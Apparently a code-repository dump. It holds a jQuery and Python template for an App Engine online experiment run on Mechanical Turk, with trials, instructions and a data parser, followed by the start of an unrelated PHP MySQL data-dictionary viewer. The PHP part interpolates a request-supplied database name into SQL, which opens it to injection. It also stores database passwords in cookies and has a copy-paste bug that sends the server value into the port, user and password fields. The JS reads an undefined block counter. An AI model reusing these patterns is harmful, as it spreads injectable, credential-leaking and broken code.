If you change the data being written you'll have to re-create the download data file (bulkloader.yaml)
```
appcfg.py create_bulkloader_config --filename=bulkloader.yaml --url=http://<app_name>.appspot.com/_ah/remote_api
```
Then set the line in the new bulkloader.yaml `connector:` to `connector: csv` and set the delimiter to tab-based.
### Files and what they do:
- In exp folder:
- index.html: html of the experiment that is loaded by backend.py (you should modify this for your experiment)
- app.yaml: (needs to be changed to update your app name and version number)
- defines app name and version number
- Handlers section - specify how URLs should be routed to the files in your folder (can be left alone)
- Libraries section - which libraries are used (can be left alone)
- Builtins - turns remote_api on (necessary for data download)
- backend.py: (can be left alone in most cases)
- loads index.html (via JINJA) and displays it
- defines the structure of the data to save (DataObject section)
- is the code that first gets called when people go to the experiment page
- backend.pyc: is automatically generated by python based on backend.py
- bulkloader.yaml: (can be left alone)
- tells the data downloader how the data from Google will be formatted
- must match backend.py
buttons/sliders/etc)
- In css folder:
- style.css: specifies css for index.html and experiment.s (usually can be left alone)
- In js folder:
- init_exp.js: only javascript file directly loaded by index.html (except for JQuery), loads all other javascript files. This file is unlikely to require changes.
- demographics.js: functions for displaying the demographics questions
- instructions.js: functions for displaying the instructions and instruction checks
- exp_logic.js: functions to move the experiment through the various stages
- trial_fcns.js: functions defining what to do on a training and test trial
- slider_fcns.js: functions to control the slider
- canvas_fcns.js: functions to control the html canvas being drawn on
- In analysis folder:
- read.R: read in the raw file downloaded from App Engine and parse the JSON to create (and save) an RData object (read.R calls parser.py). You might need to change input_file (line 2) to match the name of the file you download it from Google App Engine if the name gets changed.
- parser.py: parses raw GAE result (it assumes a tab-delimited file) into CSV file suitable to be read into R (by read.R). It takes two parameters: the file to read and the name of the file to write the results to.
- makefile. A simple makefile to run read.R from the command line. Simply type ```make```
<file_sep>/exp/js/exp_logic.js
/*global $, console, initializeCanvas, initializeSlider, hideElements, showInputOptions, showIntro, trainTrial, testTrial, hideCanvas, hideSlider */
// set this to false if you want the user to determine which condition to start in
// set this to true if you want to randomize the condition
var randomizeConditions = false;
// all experiment details will go into this object
var experimentInfo = {};
// all html elements that must be manipulated will go into this object
var htmlElements = {};
function start () {
/*
* start is the first function called (from init_exp.js) when all the files are loaded
* this function initializes many things, such as:
* a bunch of javascript objects, the canvas we will draw on, the slider, and the subject id
*
* if radomizeConditions is set to false the user can select which condition they will see
* and which segment of the experiment they will start in
* otherwise the condition is randomized and
* this function finishes by calling showIntro to begin the experiment
*/
// this function builds a unique completion code for this particpant
function makecode() {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for( var i=0; i < 5; i++ )
text += possible.charAt(Math.floor(Math.random() * possible.length));
text += "#-";
for( var j=0; j < 5; j++ )
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
// variables that will store the current trial number and current block number
experimentInfo.currTrial = 0;
experimentInfo.currBlock = 0;
// how many test trials to do per block
experimentInfo.maxTestTrial = 5;
// initialize references to elements in html
initDivReferences();
// initialize html canvas object
initializeCanvas();
// generate a subject ID by generating a random number between 1 and 1000000
experimentInfo.subjectID = Math.round(Math.random() * 1000000);
experimentInfo.completionCode = makecode();
// if you set this to true, it allow user to select conditions and where to start
if (!randomizeConditions) {
showInputOptions();
} else {
// randomize experimental conditions
initializeCondition();
showIntro();
}
}
function initDivReferences () {
/*
* initDivReferences makes a number of jQuery requests to get html elements
* the results are stored in javascript variables to make accessing them much faster
* it does not return any value when finished
*
* you might want to add new js variables here if you add new html elements
* to your index.html file. Be sure you declare new ones as is done above for these variables
*/
htmlElements.divImageSpace = $('#imageSpace');
htmlElements.divInstructions = $('#instructions');
htmlElements.buttonA = $('#a');
htmlElements.buttonB = $('#b');
htmlElements.buttonNext = $('#next');
htmlElements.divSliderStuff = $('#sliderStuff');
htmlElements.divSlider = $('#slider');
htmlElements.divSliderInfo = $('#slider-info');
}
function initializeCondition () {
/*
* initializeCondition randomly determines which condition to run the current user
* it does not return any value when finished
*
* if you have more than 2 conditions, you might want to add more functionality here
*/
// randomly assign condition
var r = Math.ceil(Math.random() * 2); // generate random number
if (r === 1) {
experimentInfo.condition = 'red';
} else if (r === 2) {
experimentInfo.condition = 'blue';
}
}
function initializeTask () {
/*
* initializeTask does all the configuration before beginning training and testing
* when done, start training by calling trainTrial
*/
// initialize the slider
initializeSlider(100);
// change text value of response buttons depending on colour condition
htmlElements.buttonB.prop('value', 'Green');
htmlElements.buttonA.prop('value', 'Blue');
if (experimentInfo.condition === "red") {
htmlElements.buttonA.prop('value', 'Red');
}
// start the training
trainTrial();
}
function selectNextTrial () {
/*
* selectNextTrial determines based on the currTrial and currBlock variables
* what the next type of trial should be or if the experiment is done
*
* the appropriate function is called next
*/
// how many blocks to do total
var maxBlock = 2;
// determine which section to go to next
if(experimentInfo.currTrial < experimentInfo.maxTestTrial) {
testTrial(); // next test trial
}
else {
// increment block
experimentInfo.currBlock++;
if(experimentInfo.currBlock < experimentInfo.maxBlock) {
experimentInfo.currTrial = 0; // reset trial counter
trainTrial(); // next training block
}
else {
finishExperiment(); // end of experiment
}
}
}
function finishExperiment() {
/*
* finishExperiment is called when all trials are complete and subjects are done
* removes everything from the screen and thanks the subject
*/
// remove all elements from the screen
// reset all buttons so they do not have any functions bound to them
hideElements();
htmlElements.divInstructions.html('You have completed the experiment! If you are doing the experiment from Mechanical Turk, please enter the code ' + experimentInfo.completionCode + ' to complete the HIT.');
htmlElements.divInstructions.show();
}
function hideElements() {
/*
* hide all buttons, slider, and text
* clear the canvas and hide it
*/
hideButtons();
hideCanvas();
hideSlider();
hideText();
}
function hideText() {
/*
* hide all text elements
*/
$('.text').hide();
}
function hideButtons() {
/*
* hide all button elements
* unbind them so any functions previously attached to them are no longer attached
*/
// hides all buttons
$(':button').hide();
// unbinds all buttons
$(':button').unbind();
}
<file_sep>/exp/js/instructions.js
/*global $, alert, hideElements, htmlElements, trainTrial, experimentInfo:true, showDemographics, initializeTask */
/*jshint multistr: true */
function showIntro() {
// remove all elements from the screen
// reset all buttons so they do not have any functions bound to them
hideElements();
htmlElements.divInstructions.show();
htmlElements.divInstructions.html('<p>This is part of a study being run at the University of Adelaide. By clicking "Next" below you consent to take part in it.</p><p>Details of the study: The principal investigator is Prof Me (my.<EMAIL>). For any questions regarding the ethics of the study, please contact CONTACT INFO. Please direct any questions about this study to Prof Me. Although any data gained from this study may be published, you will not be identified and your personal details will not be divulged, nor will anything be linked to your Amazon ID. We use your Amazon ID merely to ensure you successfully completed the experiment and are paid. You may withdraw at any time, although you will not be paid unless you complete the study.</p>');
htmlElements.buttonNext.show();
htmlElements.buttonNext.click(showDemographics);
}
// displays experiment instructions
function showInstructions() {
// remove all elements from the screen
// reset all buttons so they do not have any functions bound to them
hideElements();
htmlElements.divInstructions.html('<p>In this task you will see ' + experimentInfo.condition + ' and green coloured lines. The colour of the lines depends on their orientation. Your task will be to learn to classify the colour of new lines based on the orientation of them. When you are ready, please press the Next button.</p>');
htmlElements.divInstructions.show();
htmlElements.buttonNext.show();
htmlElements.buttonNext.click(showInstructionChecks);
}
function showInstructionChecks() {
// remove all elements from the screen
// reset all buttons so they do not have any functions bound to them
hideElements();
htmlElements.divInstructions.show();
htmlElements.divInstructions.html('<p>Here are some questions to check if you have read the instructions correctly. If you answer all the questions correctly you will begin the experiment, otherwise you will be redirected to the instructions page again.</p>');
var divInstructionChecks = $('#instruction-checks');
divInstructionChecks.html('<form> \
<label for="question1">Question 1:</label><br /> \
<input type="radio" name="question1" value="correct" /> Correct <br /> \
<input type="radio" name="question1" value="incorrect" /> Incorrect<br /><br /> \
<label for="question2">Question 2:</label><br /> \
<input type="radio" name="question2" value="correct" /> Correct <br /> \
<input type="radio" name="question2" value="incorrect" /> Incorrect<br /><br /> \
<label for="question3">Question 3:</label><br /> \
<input type="radio" name="question3" value="correct" /> Correct <br /> \
<input type="radio" name="question3" value="incorrect" /> Incorrect<br /> \
</form><br /><br />');
divInstructionChecks.show();
htmlElements.buttonNext.show();
htmlElements.buttonNext.click(validateInstructionChecks);
}
function validateInstructionChecks() {
// remove all elements from the screen
// reset all buttons so they do not have any functions bound to them
hideElements();
$('form').show();
var instructionChecks = $('form').serializeArray();
var ok = true;
for(var i = 0; i < instructionChecks.length; i++) {
// check for incorrect responses
if(instructionChecks[i].value !== "correct") {
ok = false;
break;
}
// check for empty answers
if(instructionChecks[i].value === "") {
alert('Please fill out all fields.');
ok = false;
break;
}
}
// where this is the number of questions in the instruction check
if (instructionChecks.length !== 3) {
ok = false;
}
if(!ok) {
alert("You didn't answer all the questions correctly. Please read through the instructions and take the quiz again to continue.");
showInstructions(); // go back to instruction screen
}
else {
// remove instruction checks form
$('#instruction-checks').html('');
initializeTask(); // start experiment
}
}
function showInputOptions() {
/*
* allow the user to specify which condition they are in
* as well as which aspect of the experiment to start in
*
* this function is particularly useful for debugging and testing
*/
// remove all elements from the screen
// reset all buttons so they do not have any functions bound to them
hideElements();
// first present the input options for the experiment (for debugging purposes)
// allows you to set the experimental conditions instead of randomly assigning them above
var divInputOptions = $('#input-options');
divInputOptions.show();
divInputOptions.html('<h3>Experiment options</h3> \
<p>Stimuli Colour</p> \
<select id="condition"> \
<option value="red">Red</option> \
<option value="blue">Blue</option> \
</select> \
<p>What section should we start in?</p> \
<select id="section"> \
<option value="intro">Introduction</option> \
<option value="demographics">Demographics</option> \
<option value="instructions">Instructions</option> \
<option value="training">Training</option> \
</select><br /><br />');
htmlElements.buttonNext.show();
htmlElements.buttonNext.click(function () {
// read color option
experimentInfo.condition = $('#condition').val();
// determinewhich section to start with:
switch ($('#section').val()) {
case "intro":
showIntro();
break;
case "demographics":
showDemographics();
break;
case "instructions":
showInstructions();
break;
case "training":
initializeTask();
break;
}
});
}<file_sep>/analysis/parser.py
#!/usr/bin/env python
# encoding: utf-8
"""
parser.py
Used for parsing the csv generated from bulkdownloading from Google App Engine
Created by <NAME> on 2013-10-15.
"""
import json
import csv
import sys
import getopt
help_message = '''
parser.py <input_file> <output_file>
'''
class Usage(Exception):
def __init__(self, msg):
self.msg = msg
def main(argv=None):
if argv is None:
argv = sys.argv
try:
try:
opts, args = getopt.getopt(argv[1:], "ho:v", ["help", "output="])
except getopt.error, msg:
raise Usage(msg)
# option processing
for option, value in opts:
if option == "-v":
verbose = True
if option in ("-h", "--help"):
raise Usage(help_message)
if option in ("-o", "--output"):
output = value
except Usage, err:
print >> sys.stderr, sys.argv[0].split("/")[-1] + ": " + str(err.msg)
print >> sys.stderr, "\t for help use --help"
return 2
# test the number of command line args
if (len(sys.argv) != 3):
print "Please specify input and output file names"
return 0
# set the input and output file names based on command line args
inputFileName = sys.argv[1]
outputFileName = sys.argv[2]
with open(inputFileName,'rb') as tsvin:
# assumes a TAB-delimited input file
tsvin = csv.reader(tsvin, delimiter='\t')
# read in the headers of input CSV file
orig_header = next(tsvin, None)
del orig_header[0]
# read first row to set up headers
first_row = next(tsvin, None)
a = json.loads(first_row[0])
# column names for output csv file
fieldnames = a.keys() + orig_header
# initialize output csv file
test_file = open(outputFileName,'wb')
csvwriter = csv.DictWriter(test_file, delimiter=',', fieldnames=fieldnames)
csvwriter.writerow(dict((fn,fn) for fn in fieldnames))
# add additional original columns into the dict for the first row
del first_row[0]
a.update(zip(orig_header, first_row))
# write the first row
csvwriter.writerow(a)
for row in tsvin:
# decode JSON element
a = json.loads(row[0])
# add additional original columns into dict
del row[0]
a.update(zip(orig_header, row))
# write row to output csv
csvwriter.writerow(a)
test_file.close()
print "Done parsing!"
if __name__ == "__main__":
sys.exit(main())
<file_sep>/exp/js/canvas_fcns.js
/*global $, document, htmlElements, experimentInfo:true */
function drawLine(degrees, colour, width, height) {
/*
* drawLine draws a line in the html canvas
* it assumes the canvas is already initialized
* this function does not return any value when finished
*
* degrees: the angle of the line
* colour: the color of the line
* width: the width of the canvas to draw on
* height: the height of hte canvas to draw on
*/
// convert degrees to radians
var radians = degrees * (Math.PI / 180);
// the length of the line
var length = 200;
// set width of line
experimentInfo.context.lineWidth = 5;
// set line colour
experimentInfo.context.strokeStyle = colour;
// draw line
experimentInfo.context.beginPath();
experimentInfo.context.moveTo(width / 2 - length * Math.cos(radians), height / 2 - length * Math.sin(radians));
experimentInfo.context.lineTo(width / 2 + length * Math.cos(radians), height / 2 + length * Math.sin(radians));
experimentInfo.context.closePath();
experimentInfo.context.stroke();
}
function initializeCanvas() {
/*
* initialize the canvas and context variables
*/
// define the canvas and context objects in experimentInfo from the contents of the html canvas element
experimentInfo.canvas = document.getElementById("drawing");
experimentInfo.canvas.width = htmlElements.divImageSpace.width();
experimentInfo.canvas.height = htmlElements.divImageSpace.height();
experimentInfo.context = experimentInfo.canvas.getContext("2d");
}
function imageClear() {
/*
* clear the html canvas
*/
experimentInfo.context.fillStyle = '#ffffff'; // work around for Chrome
experimentInfo.context.fillRect(0, 0, experimentInfo.canvas.width, experimentInfo.canvas.height); // fill in the canvas with white
experimentInfo.canvas.width = experimentInfo.canvas.width; // clears the canvas
}
function hideCanvas() {
/*
* clear the canvas and then hide it
*/
// clear the canvas
imageClear();
// hides the canvas drawing
htmlElements.divImageSpace.hide();
}
<file_sep>/exp/js/trial_fcns.js
/*global $, console, hideElements, drawLine, selectNextTrial, htmlElements, experimentInfo */
function testTrial() {
/*
* display a test trial in which a black line is shown on the screen
* and subjects are asked to respond to it
*
* which stimuli to display from testTrialStimuli is determined
* by the current block (currentBlock) and current trial number (currTrial)
*
* in the first test block, participants respond by pressing one of two buttons
* in the second test block, they respond by moving a slider to indicate belief
*
* all of the information to save to the database needs to be added to exp_data.
*
* exp_data is a javascript dictionary, which consists of [key, value] pairs
* To add a new pair to exp_data, do:
* exp_data.KEY = VALUE;
* you can see examples of how this is done below
*
* after subjects have selected their response, the function saveTestTrial is called
*/
// the angle of the line to draw (in degrees) for testing
var testTrialStimuli = [160, -150, 120, -50, -150, 130, -80, -10, -40, 170, -120, 20, 20, -50, -170];
// remove all elements from the screen
// reset all buttons so they do not have any functions bound to them
hideElements();
// draw test stimuli
var currAngle = testTrialStimuli[experimentInfo.maxTestTrial * experimentInfo.currBlock + experimentInfo.currTrial];
drawLine(currAngle, 'black', htmlElements.divImageSpace.width(), htmlElements.divImageSpace.height());
htmlElements.divImageSpace.show();
// increment test trial counter
experimentInfo.currTrial++;
// get time of beginning of trial
var base_time = new Date().getTime();
// all of the data from this trial will go into this object
var exp_data = {};
// add demographics data to trial output
for (var i = 0; i < experimentInfo.demographics.length; i++) {
exp_data[experimentInfo.demographics[i].name] = experimentInfo.demographics[i].value;
}
// fix type of age if it exists (from demographics)
if ("age" in exp_data)
exp_data.age = parseInt(exp_data.age, 10);
// add trial data to trial output
exp_data.subjectID = experimentInfo.subjectID;
exp_data.testTrial = experimentInfo.currTrial;
exp_data.block = experimentInfo.currBlock;
exp_data.condition = experimentInfo.condition;
exp_data.experiment = "test_experiment_v1";
exp_data.completionCode = experimentInfo.completionCode;
if (experimentInfo.currBlock < 1) {
// show a trial in which subjects respond by pressing one of two buttons
// display test trial instructions
htmlElements.divInstructions.html('What colour should this line be?');
htmlElements.divInstructions.show();
// set the type of this trial
exp_data.responseType = "categorize";
htmlElements.buttonA.click(function () {saveTestTrial(exp_data, 0, base_time);});
htmlElements.buttonB.click(function () {saveTestTrial(exp_data, 1, base_time);});
// show response buttons
htmlElements.buttonA.show();
htmlElements.buttonB.show();
}
else {
// show a trial in which subjects respond by moving a slider
htmlElements.divInstructions.html('What is the probability this line is green?');
htmlElements.divInstructions.show();
// set the type of this trial
exp_data.responseType = "slider";
// determine what to do when the next button is clicked
htmlElements.buttonNext.click(function () {saveTestTrial(exp_data, htmlElements.divSlider.slider('value'), base_time);});
// setup the slider
htmlElements.divSlider.slider('value', experimentInfo.default_slider_value);
htmlElements.divSliderInfo.html(htmlElements.divSlider.slider('value') + "%"); // update slider value
// show the slider and the next button
htmlElements.divSliderStuff.show();
htmlElements.buttonNext.show();
}
}
function trainTrial() {
/*
* display a training trial in which a colored line is shown on the screen
* and subjects are asked to press next when done studying it
*
* which stimuli to display from trainingTrialStimuli is determined
* by the current block (currentBlock) and current trial number (currTrial)
*
* after each Next click, checks if the correct number of training trials have been shown
* if so, proceed to test trials
* otherwise, show another training trial
*/
// the angle of the line to draw (in degrees) for testing
var trainTrialStimuli = [130, -130, -20, 50, -10, -20, 70, 170, 120, 100, -120, 10, -30, 160, 140];
// how many training trials to do in each block
var maxTrainTrial = 5;
// remove all elements from the screen
// reset all buttons so they do not have any functions bound to them
hideElements();
// display training trial instructions
htmlElements.divInstructions.html('Here is a colored line. Study it and press Next when done.');
htmlElements.divInstructions.show();
// draw training stimuli in canvas
htmlElements.divImageSpace.show();
// if the line has a positive slope, draw it green
// otherwise draw it with the color of the condition
var currAngle = trainTrialStimuli[maxTrainTrial * experimentInfo.currBlock + experimentInfo.currTrial];
var colour = 'green';
if(currAngle > 0 && currAngle < 90 || currAngle > -180 && currAngle < -90)
colour = experimentInfo.condition;
drawLine(currAngle, colour, htmlElements.divImageSpace.width(), htmlElements.divImageSpace.height());
// increment training trial counter
experimentInfo.currTrial++;
htmlElements.buttonNext.show();
if(experimentInfo.currTrial < maxTrainTrial) {
htmlElements.buttonNext.click(trainTrial); // go to next training trial
}
else {
experimentInfo.currTrial = 0; // reset trial counter
htmlElements.buttonNext.click(testTrial); // proceed to test trial
}
}
function saveTestTrial(exp_data, response, base_time) {
/*
* saveTestTrial should be passed an object (exp_data) containing all of the
* data from the current trial to save to the database
*
* when exp_data is completely built, it is passed as a paramter to saveData
* which actually writes the information to the database on Google App Engine
*
* after writing the data, this function calls selectNextTrial to determine
* what the next type of trial should be
*
* to see how to retrieve all data, please look at the documentation in README.md
*/
// record the response time and include it in the object to write to file
exp_data.rt = new Date().getTime() - base_time;
// add the subject's response to the data object
exp_data.response = response;
// print the data to console for debugging
console.log(exp_data);
// save trial data
saveData(exp_data);
// determine what type of trial to run next
selectNextTrial();
}
function saveData(data) {
/*
* write a new row to the database
*
* data: a dictionary composed of key, value pairs
* containing all the info to write to the database
*
* an anonymous function is used because it creates a
* copy of all information in the data variable,
* thus if any other functions change the data object after this function executes
* then the information written to the database does not change
*/
(function (d) {
$.post('submit', {"content": JSON.stringify(d)});
})(data);
}
| b01f2e7b3f07b3de0d7be0714e58201d9e73fc2e | [
"JavaScript",
"Markdown",
"Makefile",
"Python",
"R"
] | 10 | JavaScript | drewhendrickson/gae-experiment-base | 54ed26373b330f65c936653acedd84d2f79a8268 | 20ca6b290c7112a544bb97758a028fe7c6fc2c0a |
refs/heads/master | <file_sep><?php
/**
* @doc 生成mysql数据字典 @todo 1. 保存多组连接配置,到cookie/localStorage中去; 2. 建表语句高亮; 3. 数据字典字段鼠标浮上时自动选中,方便复制
* @author Heanes
* @time 2015-08-28 15:20:50
*/
error_reporting(E_ALL ^ E_NOTICE);
ob_start();
session_start();
$baseUrl = $_SERVER['SCRIPT_NAME'];
header("Content-type: text/html; charset = utf-8");
$issetSession = isset($_SESSION['_db_config']['db_password']) && isset($_SESSION['_db_config']['db_database']) && isset($_SESSION['_db_config']['db_user']);
$issetCookie = isset($_COOKIE['_db_config']['db_password']) && isset($_COOKIE['_db_config']['db_database']) && isset($_COOKIE['_db_config']['db_user']);
$issetGet = !empty($_GET['db']) && ( ($issetSession || $issetCookie) || (isset($_GET['password']) && isset($_GET['user'])) );
isset($_COOKIE['_db_config']['db_connect_wrong']) ? $connectWrong = $_COOKIE['_db_config']['db_connect_wrong'] : $connectWrong = false;
isset($_SESSION['_db_config']['db_connect_wrong']) ? $connectWrong = boolval($_SESSION['_db_config']['db_connect_wrong']) : null;
// 删除cookie和session信息
if(isset($_GET['unsetConfig'])){
if($issetCookie){
foreach($_COOKIE['_db_config'] as $index => $item){
setcookie("_db_config".'['.$index.']', '');
}
}
return session_destroy() ? true : false;
}
function getCurrentTimeStr($format = 'Y-m-d H:i:s'){
return date($format);
}
date_default_timezone_set('PRC');
$currentTime = getCurrentTimeStr();
if (!isset($_GET['config']) && !isset($_GET['postConfig']) && !isset($_GET['mysqlConnectError']) && !isset($_GET['deleteSuccess'])) {
//1,检测session或cookie中是否存有数据库配置
//1.1 若无,跳转到?config地址,让用户输入数据库配置
if (!$issetGet && !$issetSession && !$issetCookie || $connectWrong){
ob_end_clean();
header("Location: " . $baseUrl . "?config");
exit;
}else{
$_CFG['_db_config'] = [
'db_server' => 'localhost',
'db_port' => '3306',
'db_user' => 'root',
'db_password' => '<PASSWORD>',
'db_database' => 'heanes.com',
];
//1.2 若有,则根据配置查看数据字典页
if ($issetSession){
$_CFG['_db_config'] = [
'db_server' => $_SESSION['_db_config']['db_server'],
'db_port' => $_SESSION['_db_config']['db_port'],
'db_user' => $_SESSION['_db_config']['db_user'],
'db_password' => $_SESSION['_db_config']['db_password'],
'db_database' => $_SESSION['_db_config']['db_database'],
];
}else{
$_CFG['_db_config'] = [
'db_server' => $_COOKIE['_db_config']['db_server'],
'db_port' => $_COOKIE['_db_config']['db_port'],
'db_user' => $_COOKIE['_db_config']['db_user'],
'db_password' => $_COOKIE['_db_config']['db_password'],
'db_database' => $_COOKIE['_db_config']['db_database'],
];
}
// 1.3 也可以在url中指定配置,但URL只是暂时配置,不存入session或cookie
if($issetGet){
$_CFG['_db_config'] = [
'db_server' => isset($_GET['server']) ? $_GET['server'] : $_CFG['_db_config']['db_server'],
'db_port' => isset($_GET['port']) ? $_GET['server'] : $_CFG['_db_config']['db_port'],
'db_user' => isset($_GET['user']) ? $_GET['server'] : $_CFG['_db_config']['db_user'],
'db_password' => isset($_GET['password']) ? $_GET['server'] : $_CFG['_db_config']['db_password'],
'db_database' => isset($_GET['db']) ? $_GET['db'] : $_CFG['_db_config']['db_database'],
];
}
// 数据库连接
$mysqli_conn = @mysqli_connect ($_CFG['_db_config']['db_server'], $_CFG['_db_config']['db_user'], $_CFG['_db_config']['db_password'], $_CFG['_db_config']['db_database'], $_CFG['_db_config']['db_port']);
if (!$mysqli_conn || mysqli_connect_errno()){
$_SESSION['_db_config']['db_connect_wrong'] = true;
$_COOKIE['_db_config']['db_connect_wrong'] = 1;
$_SESSION['_db_connect_errno'] = mysqli_connect_errno();
$_SESSION['_db_connect_error'] = mysqli_connect_error();
ob_end_clean();
header("Location: " . $baseUrl . "?mysqlConnectError");
exit;
}else{
$_SESSION['_db_config']['db_connect_wrong'] = false;
$_COOKIE['_db_config']['db_connect_wrong'] = 0;
unset($_SESSION['_db_connect_errno']);
unset($_SESSION['_db_connect_error']);
}
mysqli_query ($mysqli_conn, 'SET NAMES utf8');
$sql = 'SELECT DISTINCT TABLE_SCHEMA AS `database` FROM information_schema.TABLES';
$table_result = mysqli_query ($mysqli_conn, $sql);
$databases = [];
while ($row = mysqli_fetch_assoc ($table_result)) {
if($row['database'] != 'information_schema' && $row['database'] != 'mysql' && $row['database'] != 'performance_schema'){
$databases[] = $row['database'];
}
}
$sql = "SELECT T.TABLE_NAME AS tableName, TABLE_COMMENT as tableComment, COLUMN_NAME as columnName, COLUMN_TYPE as columnType, COLUMN_COMMENT as columnComment, IS_NULLABLE as isNullable, COLUMN_KEY as columnKey, EXTRA as extra, COLUMN_DEFAULT as columnDefault,"
." CHARACTER_SET_NAME as characterSetName, TABLE_COLLATION as tableCollation, COLLATION_NAME as collationName, ORDINAL_POSITION as ordinalPosition, AUTO_INCREMENT as autoIncrement, CREATE_TIME as createTime, UPDATE_TIME as updateTime"
." FROM INFORMATION_SCHEMA.TABLES AS T"
." JOIN INFORMATION_SCHEMA.COLUMNS AS C ON T.TABLE_SCHEMA = C.TABLE_SCHEMA AND C.TABLE_NAME = T.TABLE_NAME"
." WHERE T.TABLE_SCHEMA = '".$_CFG['_db_config']['db_database']."'ORDER BY T.TABLE_NAME, ORDINAL_POSITION";
$table_result = mysqli_query ($mysqli_conn, $sql);
$tableOrigin = [];
while ($row = mysqli_fetch_assoc ($table_result)) {
$tableOrigin[$row['tableName']][] = $row;
}
mysqli_free_result($table_result);
$tables = [];
foreach ($tableOrigin as $index => $item) {
$tables[] = [
'tableName' => $index,
'tableComment' => $item[0]['tableComment'],
'columns' => $item,
'createTime' => $item[0]['createTime'],
'updateTime' => $item[0]['updateTime']
];
}
// 显示show create table
foreach ($tables as $index => &$table) {
$sqlShowCreateTable = 'SHOW CREATE TABLE `'.$_CFG['_db_config']['db_database'].'`.`'. $table['tableName'].'`';
$showCreateResult = mysqli_query ($mysqli_conn, $sqlShowCreateTable);
$row = mysqli_fetch_row($showCreateResult);
$table['createSql'] = $row[1];
}
mysqli_close ($mysqli_conn);
$multiple_tables = [];
foreach ($tables as $key => &$value) {
// 处理驼峰
foreach ($value['columns'] as $index => &$column) {
$words = explode('_', trim($column['columnName']));
$str = '';
foreach ($words as $word) {
$str .= ucfirst($word);
}
$str = lcfirst($str);
$tables[$key]['columns'][$index]['columnNameCamelStyle'] = $str;
}
$multiple_tables[$key]['origin']=$tables[$key];
}
// 按列字段排序
foreach ($tables as $key => $value) {
array_multisort($tables[$key]['columns']);
}
foreach ($tables as $key => $value) {
$multiple_tables[$key]['ordered'] = $tables[$key];
}
foreach ($multiple_tables as $key => $value) {
$temp1[] = $multiple_tables[$key][0];
$temp2[] = $multiple_tables[$key][1];
}
if(isset($_GET['json'])){
echo json_encode($multiple_tables);
return true;
}
$total_tables = count($multiple_tables);
$num_width = strlen($total_tables);
// 其他配置
$title = '数据字典- '. $_CFG['_db_config']['db_database'] . '@' . $_CFG['_db_config']['db_server'] . ' on ' . $_CFG['_db_config']['db_port'] . ' - ' . $_CFG['_db_config']['db_user'];
}
}
//1.2.1 用户输入后提交数据,将配置数据保存到cookie或session中。
if (isset($_GET['postConfig'])) {
$postConfig = [
'db_server' => $_POST['db_server'],
'db_port' => $_POST['db_port'],
'db_user' => $_POST['db_user'],
'db_password' => $_POST['<PASSWORD>'],
'db_database' => $_POST['db_database'],
'db_connect_wrong' => false,
];
$_SESSION['_db_config'] = $postConfig;
//Cookie保存配置
if (isset($_POST['remember_config']) && $_POST['remember_config']) {
$postConfig['db_connect_wrong'] = 0;
foreach ($postConfig as $index => $item) {
setcookie("_db_config".'['.$index.']', $item, time()+60*60*24*30, '/');
}
}else{
if($issetCookie){
foreach ($_COOKIE['_db_config'] as $index => $item) {
setcookie("_db_config".'['.$index.']', '');
}
}
}
return true;
}
$tmpConfig = [];
if($issetSession){
$tmpConfig = $_SESSION['_db_config'];
} else if($issetCookie) {
$tmpConfig = $_COOKIE['_db_config'];
}
if($issetGet){
$tmpConfig = $_CFG['_db_config'];
}
if (isset($_GET['config'])){
$title = '填写数据库配置';
}
if (isset($_GET['mysqlConnectError'])){
$title = '数据库连接错误,请重新检查数据库信息后填写数据库配置!';
}
if (isset($_GET['deleteSuccess'])){
$title = '已经成功删除保存的配置信息!';
}
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="renderer" content="webkit"/>
<meta name="author" content="Heanes heanes.com email(<EMAIL>)"/>
<title><?php echo isset($title) ? $title: '';?></title>
<style>
*{box-sizing:border-box}
a{text-decoration:none;}
a:visited{color:inherit;}
body{padding:0;margin:0;}
body,td,th {font:14px/1.3 TimesNewRoman,Arial,Verdana,tahoma,Helvetica,sans-serif}
dl{margin:0;padding:0;}
::-webkit-scrollbar-track{box-shadow:inset 0 0 6px rgba(0,0,0,0.3);-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,0.3);-webkit-border-radius:10px;border-radius:10px}
::-webkit-scrollbar{width:6px;height:5px}
::-webkit-scrollbar-thumb{-webkit-border-radius:10px;border-radius:10px;background:rgba(0,0,0,0.39);}
pre{padding:0;margin:0;}
.w-wrap{width:1240px;margin:0 auto;}
.fixed{position:fixed;}
.toolbar-block{width:100%;top:0;right:0;height:38px;background-color:rgba(31,31,31,0.73);-webkit-box-shadow:0 3px 6px rgba(0,0,0,.2);-moz-box-shadow:0 3px 6px rgba(0,0,0,.2);box-shadow:0 3px 6px rgba(0,0,0,.2);z-index:100;}
.toolbar-block-placeholder{height:40px;width:100%;}
.operate-db-block{position:relative;}
.absolute-block{position:absolute;right:0;font-size:0;top:0;}
.toolbar-button-block,.toolbar-input-block{display:inline-block;}
.toolbar-input-block{height:38px;line-height:36px;}
.toolbar-input-label{color:#fff;background-color:#5b5b5b;display:inline-block;height:38px;padding:0 4px;}
.toolbar-input-block .toolbar-input{width:280px;height:36px;margin:0 8px;}
.toolbar-input-block.search-input{padding:0 4px;position:relative}
.search-result-summary{position:absolute;right:40px;top:2px;font-size:13px;color:#999;}
.delete-all-input{position:absolute;right:16px;top:12px;width:16px;height:16px;background: #bbb;color:#fff;font-weight:600;border:none;border-radius:50%;padding:0;font-size:12px;cursor:pointer;}
.delete-all-input:hover{background-color:#e69691}
.change-db{background-color:#1588d9;border-color:#46b8da;color:#fff;margin-bottom:0;font-size:14px;font-weight:400;}
a.change-db{color:#fff;}
.change-db:hover{background-color:#337ab7}
.hide-tab,.hide-tab-already{background-color:#77d26d;color:#fff;}
.hide-tab:hover,.hide-tab-already:hover{background-color:#49ab3f}
.lap-table,.lap-table-already{background-color:#8892BF;color:#fff;}
.lap-table:hover,.lap-table-already:hover{background-color:#4f5b93}
.unset-config{background-color:#0c0;color:#fff;}
.unset-config:hover{background-color:#0a8;}
.connect-info{background-color:#eee;color:#292929}
.connect-info:hover{background-color:#ccc;}
.toggle-show{position:relative;}
.toggle-show:hover .toggle-show-info-block{display:block;}
.toggle-show-info-block{position:absolute;right:0;font-size:13px;background-color:#eee;padding-top:6px;display:none;overflow-y:auto;max-height:400px;}
.toggle-show-info-block a{color:#2a28d2}
